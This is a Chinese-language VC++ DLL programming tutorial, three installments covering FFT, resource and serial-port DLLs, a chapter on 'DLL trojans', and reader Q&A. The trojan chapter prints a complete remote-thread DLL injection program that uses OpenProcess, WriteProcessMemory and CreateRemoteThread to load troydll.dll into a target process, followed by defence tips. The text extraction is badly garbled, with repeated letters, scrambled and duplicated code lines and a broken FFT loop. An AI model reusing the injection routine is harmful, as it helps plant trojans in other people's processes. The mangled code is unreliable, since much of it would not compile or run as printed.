//{{AFX_DATA_MAP(CCallDllDlg)
DDX_Control(pDX,


IDC_COLOR_STATIC,
m_colorstatic);
//使
m_colorstatic与
IDC_COLOR_STATIC控件关联
//}}AFX_DATA_MAP
}


BOOLCCallDllDlg::OnInitDialog()

{
…//TODO:Addextrainitializationhere…//TODO:Addextrainitializationhere
//初始
static控件的显示
m_colorstatic.SetCaption("最开始为黑色");
m_colorstatic.SetTextColor(RGB(0,0,0));


returnTRUE;//returnTRUEunlessyousetthefocustoacontrol}
//设置static控件文本颜色为红色
voidCCallDllDlg::OnRedButton()
{
m_colorstatic.SetCaption("改变为红色");
m_colorstatic.SetTextColor(RGB(255,0,0));
Invalidate(TRUE);//导致发出WM_PAINT消息
}
//设置static控件文本颜色为蓝色
voidCCallDllDlg::OnBlueButton()
{
m_colorstatic.SetCaption("改变为蓝色");
m_colorstatic.SetTextColor(RGB(0,0,255));
Invalidate(TRUE);//导致发出WM_PAINT消息
}
至此,我们已经讲解完成了所有类型的动态链接库,即非
MFC
DLL、MFC规则
DLL

MFC扩展
DLL。下一节将给出
DLL的三个工程实例,与读者朋友们共同体会
DLL的应
用范围和使用方法。
V
VVVVC
CCCC+
+++++
+++动态链接库(
((((D
DDDDL
LLLLL
LLLL)
))))编程(五)――
――――――――D
DDDDL
LLLLL
LLLL典型实例


//设置static控件文本颜色为绿色
voidCCallDllDlg::OnGreenButton()
{
m_colorstatic.SetCaption("改变为绿色");
m_colorstatic.SetTextColor(RGB(0,255,0));
Invalidate(TRUE);//导致发出WM_PAINT消息
}

2005-10-24
18:21:00

标签:VC++编程
DLL
[推送到技术圈]

版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处、作者信息和本
声明。否则将追究法律责任。
http://21cnbao.blog.51cto.com/109393/120765


V
VVVVC
CCCC+
+++++
+++动态链接库(
((((D
DDDDL
LLLLL
LLLL)
)))编程(五)


――D
DDDDL
LLLLL
LLLL典型实例

作者:
作者:作者:作者:作者:宋宝华
e-mail:
e-mail:e-mail:e-mail:21cnbao@21cn.com

动态链接库
DLL实现了库的共享,体现了代码重用的思想。我们可以把广泛的、具有
共性的、能够多次被利用的函数和类定义在库中。这样,在再次使用这些函数和类的时候,
就不再需要重新添加与这些函数和类相关的代码。具有共性的问题大致有哪些呢?笔者归
纳如下:

(1)通用的算法
图像处理、视频音频解码、压缩与解压缩、加密与解密通常采用某些特定的算法,这
些算法较固定且在这类程序中往往经常被使用。

(2)纯资源
DLL
我们可以从
DLL中获取资源,对于一个支持多种语言的应用程序而言,我们可以判断
操作系统的语言,并自动为应用程序加载与
OS对应的语言。这是多语言支持应用程序的
一般做法。

(3)通信控制
DLL
串口、网口的通信控制函数如果由
DLL提供则可以使应用程序轻松不少。在工业控制、
modem程序甚至
socket通信中,经常使用通信控制
DLL。
本节将给出
DLL的三个典型应用实例。


7.7.7.7.1111算法
D
DDDDL
LLLLL
LLLL
我们直接用读者的一个提问作为例子。
宋宝华先生,您好!

我在
pconline上看到你连载的《VC++动态链接库(DLL)编程深入浅出》,觉得非常好。
我以前主要是用
Delphi的,C/C++学过,对
Win32和
VCL比较熟悉,但是没有接触过
VC++,

MFC很陌生。这段时间和一个同学合作做光学成像的计算机模拟,用到傅立叶变换,手
里面有例程是
VC++写的。我们的界面是用
Delphi开发,需要将其傅立叶变换功能提出做
一个
DLL供
Delphi调用。苦于不懂
MFC,试了很多方法,都不成功,最后只得采用折衷方
案,简单修改一下程序,传一个参数进去,当作
exe来调用,才没有耽搁后续进程。


……
谢谢!

礼!
某某

学习过较高级别数学(概率统计与随机过程)、信号与线性系统及数字信号处理的读者


应该知道,傅立叶变换是一种在信号分析中常用的算法,用于时域和频域的相互转换。
FFT
变换算法通用而有共性,我们适宜把它集成在一个
DLL中。
随后,这位读者提供了这样的一个函数:


/*函数名称:FFT()
*参数:
*complex<double>*TD-指向时域数组的指针
*complex<double>*FD-指向频域数组的指针
*r-2的幂数,即迭代次数
*返回值:无。
*说明:该函数用来实现快速傅立叶变换
*/
voidFFT(complex<double>*TD,complex<double>*FD,intr)
{
LONGcount;//傅立叶变换点数
inti,j,k;//循环变量
intbfsize,p;//中间变量
doubleangle;//角度
complex<double>*W,*X1,*X2,*X;
count=1<<r;//傅立叶变换点数
//分配运算所需存储器
W=newcomplex<double>[count/2];
X1=newcomplex<double>[count];
X2=newcomplex<double>[count];
//计算加权系数
for(i=0;i<count/2;i++)
{
angle=-i*PI*2/count;
W[i]=complex<double>(cos(angle),sin(angle));
}
//将时域点写入X1memcpy(X1,TD,sizeof(complex<double>)*count);
//采用蝶形算法进行快速傅立叶变换
for(k=0;k<r;k++)
{
for(j=0;j<1<<k;j++)
{
bfsize=1<<(r-k);
for(i=0;i<bfsize/2;i++)
{

/2];2];
X1[i++bfsize/2])
j*bfsize;
X2[i+p]=X1[i+p]+X1[i+p+bfsizeX2[i+p+bfsize/2]=(X1[i+p]
p=


-
*


(1<<k)];


}
}
X
=X1;
X1
=X2;
X2
=X;


}


//重新排序
for(j
=
{


0;j<count;j++)
p
=0;
for(i=
{


0;<r;i++)
(j&(1<<i))
if
{
p+=1<<(r-i-1);


}
}
FD[j]=X1[p];


}


//释放内存
delete


W;
delete
X1;
delete
X2;


W[i*
}
既然有了
FFT这个函数,我们要把它做在
DLL中,作为
DLL的一个接口将是十分简
单的,其步骤如下:

(1)利用
MFC向导建立一个非
MFC
DLL;
(2)在工程中添加
fft.h和
fft.cpp两个文件;
fft.h的源代码为:
#ifndefFFT_H#defineFFT_H#include<complex>
usingnamespacestd;
extern"C"void__declspec(dllexport)__stdcallFFT(complex<double>*TD,
complex<double>*FD,intr);
#definePI3.1415926

#endif
fft.cpp的源代码为:


/*文件名:fft.cpp*/
#include"fft.h"
void__stdcallFFT(complex<double>*TD,complex<double>*
{
…//读者提供的函数代码
}
FD,intr)
在任何编程语言中使用
Win32
API
LoadLibrary都可以加载这个
DLL,而使用
GetProcAddress(hDll,
"FFT")则可以获得函数
FFT的地址,读者所提到的
Delphi当然也不例
外。

这个
DLL中有两点需要注意:

(1)使用
extern
"C"修饰函数声明,否则,生成的
DLL只能供
C++调用;
(2)使用__stdcall修饰函数声明及定义,__stdcall是
Windows
API的函数调用方式。
7.7.7.7.2222纯资源
D
DDDDL
LLLLL
LLLL
我们在应用程序中产生如图18所示的资源(对话框)。


图18
18181818中文对话框

在与这个应用程序相同的工作区里利用
MFC向导建立两个简单的
DLL,把应用工
程中的资源全选后分别拷贝到
ChineseDll和
EngLishDll,在
EnglishDll工程的资源文件中
搜索下面的语句:


/////////////////////////////////////////////////////////////////////////////
//Chinese(P.R.C.)resources#if!defined(AFX_RESOURCE_DLL)||defined(AFX_TARG_CHS)
#ifdef_WIN32LANGUAGELANG_CHINESE,SUBLANG_CHINESE_SIMPLIFIED#pragmacode_page(936)
#endif//_WIN32
将其改为:


/////////////////////////////////////////////////////////////////////////////
//English(U.S.)resources

#if
!defined(AFX_RESOURCE_DLL)
#ifdef
_WIN32


||defined(AFX_TARG_ENU)
SUBLANG_ENGLISH_US
LANGUAGELANG_ENGLISH,


#pragma
code_page(1252)


#endif
//_WIN32

并将其中所有的中文翻译为英文。这个
DLL为我们提供了如图19所示的对话框资源。


图19
19191919英文对话框
修改应用工程的
InitInstance()函数,在


CResourceDllCallDlgdlg;
m_pMainWnd=&dlg;
intnResponse=dlg.DoModal();
之前(即对话框显示之前)添加如下代码:


//获取操作系统的语言
WORDwLangPID=PRIMARYLANGID(GetSystemDefaultLangID());
if(LANG_CHINESE==wLangPID)
{
hLanguageDll=LoadLibrary("ChineseDll.dll");//加载中文资源
}else{
hLanguageDll=LoadLibrary("EnglishDll.dll");//加载英文资源
}
if(NULL==hLanguageDll)
{
AfxMessageBox("LoadDLLfailure");
returnFALSE;
}
AfxSetResourceHandle(hLanguageDll);//设置当前的资源句柄
这样的应用程序将具有自适应性质,在中文
OS中显示中文资源,在英文
OS中则显示
英文资源。


7.7.7.7.3333通信控制
D
DDDDL
LLLLL
LLLL
我们在这里举一个串口通信类的例子。
也许您需要了解一点串口通信的背景知识,其实串口到处都看得到,譬如
PC机的
COM



口即为串行通讯口(简称串口)。如图20,打20,打开
Windows的设备管理器,我们看到了
COM
口。


Windows系统,需通过
DCB(Device
Control
Block)对串口进行配置。利用
Windows
APIGetCommState函数可以获取串口当前配置;利用
SetCommState函数则可以设置串口
通讯的参数。

串行通信通常按以下四步进行:


(1)打开串口;
(2)配置串口;
(3)数据传送;
(4)关闭串口。
图20
20202020P
PPPPC
CCCC的串口
由此可见,我们需要给串口控制
DLL提供如下四个接口函数:


//打开指定的串口,其参数port为端口号
BOOLComOpen(intport);//在这个函数里使用默认的参数设置串口
//将打开的串口关闭
voidComClose(intport);
//将串口接收缓冲区中的数据放到buffer中
intGetComData(char*buf,intbuf_len);
//将指定长度的数据发送到串口
intSendDataToCom(LPBYTEbuf,intbuf_Len);
下面给出了
DLL接口的主要源代码框架:


//com.h:com类通信接口
classAFX_EXT_CLASScom{

public:
ComOpen(intport)
{

}
intSendDataToCom(LPBYTEbuf,intbuf_Len)
{

}
intGetComData(char*buf,intbuf_len)
{

}
voidComClose()
{

}
}
ComOpen(intport)
{

}
intSendDataToCom(LPBYTEbuf,intbuf_Len)
{

}
intGetComData(char*buf,intbuf_len)
{

}
voidComClose()
{

}
}
我们编写一控制台程序来演示
DLL的调用:
#include
<iostream>
#include
<exception>
using
namespace


std;


#include
<windows.h>
#include
"com.h"


//包含
DLL中导出类的头文件
int
main(int
argc,
char
*argv[])
{


try


{
char
str[]
=
com
com1;
com1.ComOpen
(1);
for(int
i=0;


"com_classtest";
i<100;


i++)


//以同步方式写
com的
buffer
{
Sleep(500);


com1.SendDataToCom(str,strlen(str));
}


com1.ComClose
}
catch(exception
&e)
{


();

}
return
0;


cout<<e.what()<<endl;
}


DLL的编写与调用方法及主要应用皆已讲完,在下一节里,我们将看到比较“高深”
的主题――DLL木马。曾几何时,DLL木马成为了病毒的一种十分重要的形式,是
DLL
的什么特性使得它能够成为一种病毒?下一节我们将揭晓谜底。


V
VVVVC
CCCC+
+++++
++++动态链接库(
((((D
DDDDL
LLLLL
LLLL)
))))编程(六)――
――――――――D
DDDDL
LLLLL
LLLL木马


2005-10-29
12:23:00
标签:VC++编程
DLL
[推送到技术圈]


版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处、作者信息和本
声明。否则将追究法律责任。
http://21cnbao.blog.51cto.com/109393/120762


V
VVVVC
CCCC+
+++++
+++动态链接库(
((((D
DDDDL
LLLLL
LLLL)
)))编程(六)


――D
DDDDL
LLLLL
LLLL木马

作者:
作者:作者:作者:宋宝华
e-mail:
e-mail:e-mail:e-mail:e-mail:21cnbao@21cn.com

从前文可知,DLL在程序编制中可作出巨大贡献,它提供了具共性代码的复用能力。
但是,正如一门高深的武学,若被掌握在正义之侠的手上,便可助其仗义江湖;但若被掌
握在邪恶之徒的手上,则必然在江湖上掀起腥风血雨。DLL正是一种这样的武学。DLL一
旦染上了魔性,就不再是正常的
DLL程序,而是
DLL木马,一种恶贯满盈的病毒,令特
洛伊一夜之间国破家亡。


8.8.8.8.1111
D
DDDDL
LLLLL
LLLL木马的原理
DLL木马的实现原理是编程者在
DLL中包含木马程序代码,随后在目标主机中选择特
定目标进程,以某种方式强行指定该进程调用包含木马程序的
DLL,最终达到侵袭目标系
统的目的。

正是
DLL程序自身的特点决定了以这种形式加载木马不仅可行,而且具有良好的隐藏
性:

(1)DLL程序被映射到宿主进程的地址空间中,它能够共享宿主进程的资源,并根据
宿主进程在目标主机的级别非法访问相应的系统资源;
(2)DLL程序没有独立的进程地址空间,从而可以避免在目标主机中留下“蛛丝马迹”

,达到隐蔽自身的目的。


DLL木马实现了“真隐藏”,我们在任务管理器中看不到木马“进程”,它完全溶进
了系统的内核。与“真隐藏”对应的是“假隐藏”,“假隐藏”木马把自己注册成为一个
服务。虽然在任务管理器中也看不到这个进程,但是“假隐藏”木马本质上还具备独立的
进程空间。“假隐藏”只适用于
Windows9x的系统,对于基于
WINNT的操作系统,通过
服务管理器,我们可以发现系统中注册过的服务。


DLL木马注入其它进程的方法为远程线程插入。

远程线程插入技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内
存地址空间。将木马程序以
DLL的形式实现后,需要使用插入到目标进程中的远程线程将
该木马
DLL插入到目标进程的地址空间,即利用该线程通过调用
Windows
APILoadLibrary
函数来加载木马
DLL,从而实现木马对系统的侵害。


8.8.8.8.2222
D
DDDDL
LLLLL
LLLL木马注入程序
这里涉及到一个非常重要的
Windows
API――CreateRemoteThread。与之相比,我们所
习惯使用的
CreateThread
API函数只能在进程自身内部产生一个新的线程,而且被创建的
新线程与主线程共享地址空间和其他资源。而
CreateRemoteThread则不同,它可以在另外
的进程中产生线程!CreateRemoteThread有如下特点:

(1)CreateRemoteThread较
CreateThread多一个参数
hProcess,该参数用于指定要创
建线程的远程进程,其函数原型为:
HANDLECreateRemoteThread(
HANDLEhProcess,//远程进程句柄
LPSECURITY_ATTRIBUTESlpThreadAttributes,
SIZE_TdwStackSize,
LPTHREAD_START_ROUTINElpStartAddress,
LPVOIDlpParameter,
DWORDdwCreationFlags,
LPDWORDlpThreadId);
(2)线程函数的代码不能位于我们用来注入
DLL木马的进程所在的地址空间中。也
就是说,我们不能想当然地自己写一个函数,并把这个函数作为远程线程的入口函数;
(3)不能把本进程的指针作为
CreateRemoteThread的参数,因为本进程的内存空间与
远程进程的不一样。
以下程序由作者
Shotgun的
DLL木马注入程序简化而得(在经典书籍《Windows核心
编程》中我们也可以看到类似的例子),它将
d盘根目录下的
troydll.dll插入到
ID为4000
的进程中:


#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
voidCheckError
(int,int,char*);//出错处理函数
PDWORD
pdwThreadId;
HANDLE
hRemoteThread,
hRemoteProcess;
DWORD
fdwCreate,
dwStackSize,
dwRemoteProcessId;



PWSTRpszLibFileRemote=NULL;
voidmain(intargc,char**argv)
pszLibFileRemote=NULL;
voidmain(intargc,char**argv)
{
int
iReturnCode;
char
lpDllFullPathName[MAX_PATH];
WCHAR
pszLibFileName[MAX_PATH]={0};


dwRemoteProcessId


=4000;
strcpy(lpDllFullPathName,


"d://troydll.dll");
//将
DLL文件全路径的
ANSI码转换成
UNICODE码
iReturnCode
=
MultiByteToWideChar(CP_ACP,MB_ERR_INVALID_CHARS,


lpDllFullPathName,
strlen(lpDllFullPathName),
pszLibFileName,


MAX_PATH);


CheckError(iReturnCode,
0,
"MultByteToWideChar");
//打开远程进程
hRemoteProcess


=
OpenProcess(PROCESS_CREATE_THREAD|
|
PROCESS_VM_OPERATION

//允许创建线程
//允许
VM操作
PROCESS_VM_WRITE,


//允许
VM写
FALSE,
dwRemoteProcessId


);


CheckError(
(int)
hRemoteProcess,
NULL,
"Remote
Process
not
Exist


orAccessDenied!");
//计算
DLL路径名需要的内存空间
int
cb
=(1
+
lstrlenW(pszLibFileName))


*
sizeof(WCHAR);
pszLibFileRemote
=
(PWSTR)
VirtualAllocEx(
hRemoteProcess,
NULL,cb,


MEM_COMMIT,
PAGE_READWRITE);
CheckError((int)pszLibFileRemote,
NULL,
"VirtualAllocEx");
//将
DLL的路径名复制到远程进程的内存空间
iReturnCode
=
WriteProcessMemory(hRemoteProcess,


pszLibFileRemote,


(PVOID)
pszLibFileName,
cb,
NULL);
CheckError(iReturnCode,
false,


"WriteProcessMemory");
//计算
LoadLibraryW的入口地址
PTHREAD_START_ROUTINE
pfnStartAddr
=(PTHREAD_START_ROUTINE)


GetProcAddress(GetModuleHandle(TEXT("Kernel32")),
"LoadLibraryW");
CheckError((int)pfnStartAddr,
NULL,
"GetProcAddress");
//启动远程线程,通过远程线程调用用户的
DLL文件
hRemoteThread
=
CreateRemoteThread(
hRemoteProcess,
NULL,0,pfnStartAddr,


pszLibFileRemote,


0,NULL);


CheckError((int)hRemoteThread,NULL,"CreateRemoteThread");
//等待远程线程退出


//清场处理
if


WaitForSingleObject(hRemoteThread,INFINITE);
(pszLibFileRemote!=NULL)
{



ifif}
if}
VirtualFreeEx(hRemoteProcess,pszLibFileRemote,0,MEM_RELEASE);
}
(hRemoteThread!=NULL)
{
CloseHandle(hRemoteThread);
}
(hRemoteProcess!=NULL)
{
CloseHandle(hRemoteProcess);
}
//错误处理函数CheckError()
voidCheckError(intiReturnCode,intiErrorCode,char*pErrorMsg)
{
if(iReturnCode==iErrorCode)
{
printf("%sError:%d/n/n",pErrorMsg,GetLastError());
//清场处理
if(pszLibFileRemote!=NULL)
{VirtualFreeEx(hRemoteProcess,pszLibFileRemote,0,
MEM_RELEASE);
}
if(hRemoteThread!=NULL)
{
CloseHandle(hRemoteThread);
}
if(hRemoteProcess!=NULL)
{
CloseHandle(hRemoteProcess);
}
exit(0);
}
}

DLL木马注入程序的源代码中我们可以分析出
DLL木马注入的一般步骤为:

(1)取得宿主进程(即要注入木马的进程)的进程
ID
dwRemoteProcessId;
(2)取得
DLL的完全路径,并将其转换为宽字符模式
pszLibFileName;
(3)利用
Windows
APIOpenProcess打开宿主进程,应该开启下列选项:
a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程;
b.PROCESS_VM_OPERATION:允许对宿主进程中进行
VM操作;
c.PROCESS_VM_WRITE:允许对宿主进程进行
VM写。
(4)利用
Windows
APIVirtualAllocEx函数在远程线程的
VM中分配
DLL完整路径
宽字符所需的存储空间,并利用
Windows
APIWriteProcessMemory函数将完整路径写
入该存储空间;

(5)利5)利用
Windows
APIGetProcAddress取得
Kernel32模块中
LoadLibraryW函数的地
址,这个函数将作为随后将启动的远程线程的入口函数;
(6)利用
Windows
APICreateRemoteThread启动远程线程,将
LoadLibraryW的地址
作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整
DLL路径作
为线程入口函数的参数以另其启动指定的
DLL;
(7)清理现场。
8.8.8.8.3333
D
DDDDL
LLLLL
LLLL木马的防治

DLL木马的原理和一个简单的
DLL木马程序中我们学到了
DLL木马的工作方式,
这可以帮助我们更好地理解
DLL木马病毒的防治手段。
一般的木马被植入后要打开一网络端口与攻击程序通信,所以防火墙是抵御木马攻击的
最好方法。防火墙可以进行数据包过滤检查,我们可以让防火墙对通讯端口进行限制,只
允许系统接受几个特定端口的数据请求。这样,即使木马植入成功,攻击者也无法进入到
受侵系统,防火墙把攻击者和木马分隔开来了。

对于
DLL木马,一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所
依赖的
DLL,如果其中有一些莫名其妙的
DLL,则可以断言这个进程是宿主进程,系统被
植入了
DLL木马。“道高一尺,魔高一丈”,现如今,DLL木马也发展到了更高的境界,
它们看起来也不再“莫名其妙”。在最新的一些木马里面,开始采用了先进的
DLL陷阱技
术,编程者用特洛伊
DLL替换已知的系统
DLL。特洛伊
DLL对所有的函数调用进行过滤,
对于正常的调用,使用函数转发器直接转发给被替换的系统
DLL;对于一些事先约定好的
特殊情况,DLL会执行一些相应的操作。

本文给出的只是
DLL木马最简单情况的介绍,读者若有兴趣深入研究,可以参考其它
资料。

此后将是本系列文章的最后一次连载,即读者来信与反馈。


V
VVVVC
CCCC+
+++++
++++动态链接库(
((((D
DDDDL
LLLLL
LLLL)
))))编程(七)――
――――――――读者反馈与答复


2005-10-29
12:27:00
标签:VC++编程
DLL
[推送到技术圈]


版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处、作者信息和本
声明。否则将追究法律责任。
http://21cnbao.blog.51cto.com/109393/120761


V
VVVVC
CCCC+
+++++
+++动态链接库(
((((D
DDDDL
LLLLL
LLLL)
)))编程(七)
――读者反馈与答复

作者:
作者:作者:作者:宋宝华
e-mail:
e-mail:e-mail:e-mail:e-mail:21cnbao@21cn.com



1.关于文章的获取
许多读者发来
e-mail询问本系列文章的相关事宜,如:

(1)是否已出版?
(2)哪里可以下载打包版?
(3)哪里可以下载笔者的其它文章?
还有一些读者对日前笔者在天极网发表的《
C语言嵌入式系统编程修炼之道》非常喜爱,
给予了热情洋溢的赞扬,询问笔者能否继续创作嵌入式编程方面的文章。

对于这些问题,统一作答如下:

(1)本系列文章暂时尚未出版;
(2)您可以在天极网或
pconline软件频道下载笔者的多数拙作。另外,我也将不定
期将这些文章上传到我的博客(
[url]http://blog.donews.com/21cnbao/[/url])。所有文
章中的例程源代码均经过亲手调试,验证无误;
(3)就嵌入式系统开发,笔者将继续进行此方面的创作,新近将推出《基于嵌入式实

OS
VxWorks的多任务程序设计》及《领悟:从
Windows多线程到
VxWorks的多任务》。
非常感谢读者朋友对这些文章的喜爱,在下将竭尽所能地为您提供更多的好文章。


2.关于
DLL的疑问
你好,看了你写的
“VC++动态链接库(DLL)编程深入浅出”,特别有收获。只是有个
地方我老搞不明白,就是用
DLL导出全局变量时,指定了.lib的路径(#pragma
comment(lib,"dllTest.lib")),那么
.dll的文件的路径呢,我尝试着把.dll文件移到别
的地方程序就无法正常运行了,请问.dll在这里怎么指定。

希望您能在百忙中抽空给我解答一下,不胜感激!

一位编程爱好者

回答:


Windows按下列顺序搜索
DLL:

(1)当前进程的可执行模块所在的目录;
(2)当前目录;
(3)Windows系统目录,通过
GetSystemDirectory函数可获得此目录的路径;
(4)Windows目录,通过
GetWindowsDirectory函数可获得此目录的路径;
(5)PATH环境变量中列出的目录。
因此,隐式链接时,
DLL文件的路径不需要指定也不能指定,系统指定按照
1~5的步骤
寻找
DLL,但是对应的
.lib文件却需要指定路径;如果使用
Windows
API函数
LoadLibrary
动态加载
DLL,则可以指定
DLL的路径。

你好,我是一位
C++初学者,我在
PCONLINE看了教学之后,受益不浅。我想问一下能否在
DLL里使用多线程?MSDN上用#using
<mscorlib.dll>这个指令之后实现了多线程,不过好
象不支持
DLL..

请问有什么办法支持制作多线程
DLL??能否给一个源码来?

回答:


DLL中可以处理多线程,WIN32对于多线程的支持是操作系统本身提供的一种能力,
并不在于用户编写的是哪一类程序。即便是一个控制台程序,我们都可以使用多线程:


#include<stdio.h>

#include
<windows.h>
void
ThreadFun(void)
{


while(1)
{


printf("thisisnewthread/n");
Sleep(1000);
}
}


intmain()
{
DWORD
threadID;
CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)ThreadFun,


NULL,
0,
&threadID
);
while(1)
{


printf(
ismainthread/n");
1000);
"this
Sleep(
}
}


观察程序运行的结果为在控制台窗口上交替输出
this
is
main
thread、this
is
new
thread。
我们来看下面的一个多线程
DLL的例子。


DLL程序提供一个接口函数
SendInit,在此接口中启动发送线程
SendThreadFunc,在
这个线程的对应工作函数中我们使用原始套接字
socket发送报文。参考微软出版的经典书
籍《Windows核心编程》,我们发现,不宜在
DLL被加载的时候(即进程绑定时)启动一个
新的线程。

这个线程等待一个
CEvent事件(用于线程间通信),应用程序调用
DLL中的接口函数
SendMsg(
InterDataPkt
sendData
)可以释放此事件。下面是相关的源代码:

(1
1111)发送报文线程入口函数
///////////////////////////////////////////////////////////////////////////
//函数名:SendThreadFunc//函数功能:发送报文工作线程入口函数,使用UDP协议
////////////////////////////////////////////////////////////////////////////
DWORDWINAPISendThreadFunc(LPVOIDlpvThreadParm)
//提示:对于线程函数应使用WINAPI声明,WINAPI被宏定义为__stdcall{
/*创建socket*/
sendSock=socket(AF_INET,SOCK_DGRAM,);
if(sendSock==INVALID_SOCKET)
{
AfxMessageBox("Socket创建失败");
closesocket(recvSock);
}

/*获得目标节点端口与地址*/
structsockaddr_indesAddr;
desAddr.sin_family=AF_INET;
desAddr.sin_port=htons(DES_RECV_PORT);//目标节点接收端口
desAddr.sin_addr.s_addr=inet_addr(DES_IP);
/*发送数据*/
while(1)
{
WaitForSingleObject(hSendEvent,0xffffffffL);//无限等待事件发生
ResetEvent(hSendEvent);
sendto(sendSock,(char*)sendSockData.data,sendSockData.len,
0,(structsockaddr*)&desAddr,sizeof(desAddr));
}
return-1;
}
/*获得目标节点端口与地址*/
structsockaddr_indesAddr;
desAddr.sin_family=AF_INET;
desAddr.sin_port=htons(DES_RECV_PORT);//目标节点接收端口
desAddr.sin_addr.s_addr=inet_addr(DES_IP);
/*发送数据*/
while(1)
{
WaitForSingleObject(hSendEvent,0xffffffffL);//无限等待事件发生
ResetEvent(hSendEvent);
sendto(sendSock,(char*)sendSockData.data,sendSockData.len,
0,(structsockaddr*)&desAddr,sizeof(desAddr));
}
return-1;
}
(2
222)M
MMMMF
FFFFC
CCCC规则
D
DDDDL
LLLLL
LLLL的
I
IIIIn
nnnni
iiiit
ttttI
IIIIn
nnnns
sssst
ttttan
ananananc
cccce
eeee函数
/////////////////////////////////////////////////////////////////////////////
//CMultiThreadDllAppinitializationBOOLCMultiThreadDllApp::InitInstance()
{
if(!AfxSocketInit())//初始化socket{
AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
returnFALSE;
}
returnTRUE;
}

(3
3333)启动发送线程
////////////////////////////////////////////////////////////////////////////////
//函数名:SendInit//函数功能:DLL提供给应用程序调用接口,用于启动发送线程
/////////////////////////////////////////////////////////////////////////////
voidSendInit(void)
{
hSendThread=CreateThread(NULL,1000,SendThreadFunc,
this,1,&uSendThreadID);
}
(4
444)S
SSSSe
eeeen
nnnnd
ddddM
MMMMs
ssssg
gggg函数
////////////////////////////////////////////////////////////////////////////////



//函数名:SendMsg//函数功能:DLL提供给应用程序调用接口,用于发送报文
/////////////////////////////////////////////////////////////////////////////
extern"C"voidWINAPISendMsg(InterDataPktsendData)
{
sendSockData=sendData;
SetEvent(hSendEvent);//释放发送事件
}
//函数名:SendMsg//函数功能:DLL提供给应用程序调用接口,用于发送报文
/////////////////////////////////////////////////////////////////////////////
extern"C"voidWINAPISendMsg(InterDataPktsendData)
{
sendSockData=sendData;
SetEvent(hSendEvent);//释放发送事件
}
以上程序仅仅是一个简单的例子,其实在许多工程应用中,我们经常看到这样的处理
方式。这个
DLL对用户而言仅仅使一个简单的接口函数
SendMsg,对调用它的应用程序屏
蔽了多线程的技术细节。与之类似,
MFC提供的
CSocket类在底层自己采用了多线程机制,
所以使我们免去了对多线程的使用。

您好,看了您的
DLL文章,发现导出函数可以直接用_declspec(dllexport)声明或
在.def文件中定义,变量的导出也一样。我想知道类是否也可以在
.def文件中导出?您的
文章中只讲了在类前添加_declspec(dllexport)导出类的方法。请您指教!

回答:

一般我们不采用.def文件导出类,但是这并不意味着类不能用.def文件导出类。

使用
Depends查看连载2的“导出类”例程生成的
DLL,我们发现其导出了如图21的众
多“怪”symbol,这些
symbol都是经过编译器处理的。因此,为了以.def文件导出类,
我们必须把这些“怪”symbol全部导出,实在是不划算啊!所以对于类,我们最好直接以
_declspec(dllexport)导出。


图21导出类时导出的
symbol

您好,看了您的
DLL文章,知道怎么创建
DLL了,但是面对一个具体的工程,我还是不
知道究竟应该把什么做成
DLL?您能给一些这方面的经验吗?

回答:


DLL一般用于软件模块中较固定、较通用的可以被复用的模块,这里有一个非常好的例
子,就是豪杰超级解霸。梁肇新大师把处理视频和音频的算法模块专门做成了两个
DLL,
供超级解霸的用户界面
GUI程序调用,实在是
DLL设计的模范教程。所谓
“万变不离其宗”,
超级解霸的界面再
cool,用到的还是那几个
DLL!具体请参考《编程高手箴言》一书。

您好,您的
DLL文章讲的都是
Windows的,请问
Linux操作系统上可以制作
DLL吗?如


果能,和
Windows有什么不一样?谢谢!

回答:


Linux操作系统中,也可以采用动态链接技术进行软件设计,但与
Windows下
DLL的
创建和调用方式有些不同。


Linux操作系统中的共享对象技术(Shared
Object)与
Windows里的
DLL相对应,但
名称不一样,其共享对象文件以
.so作为后缀。与
Linux共享对象技术相关的一些函数如
下:


(1)打开共享对象,函数原型:
//打开名为
filename共享对象,并返回操作句柄;
void
*dlopen
(const
char
*filename,
int
flag);
(2)取函数地址,函数原型:
//获得接口函数地址
void
*dlsym(void
*handle,
char
*symbol);
(3)关闭共享对象,函数原型:
//关闭指定句柄的共享对象
int
dlclose
(void
*handle);
(4)动态库错误函数,函数原型:
//共享对象操作函数执行失败时,返回出错信息
const
char
*dlerror(void);
从这里我们分明看到
Windows
API――LoadLibrary、FreeLibrary和
GetProcAddress
的影子!又一个“万变不离其宗”!

本系列文章的连载暂时告一段落,您可以继续给笔者发送
email(mailto:
21cnbao@21cn.com)讨论
DLL的编程问题。对于文中的错误和纰漏,也热诚欢迎您指正。

 

原创粉丝点击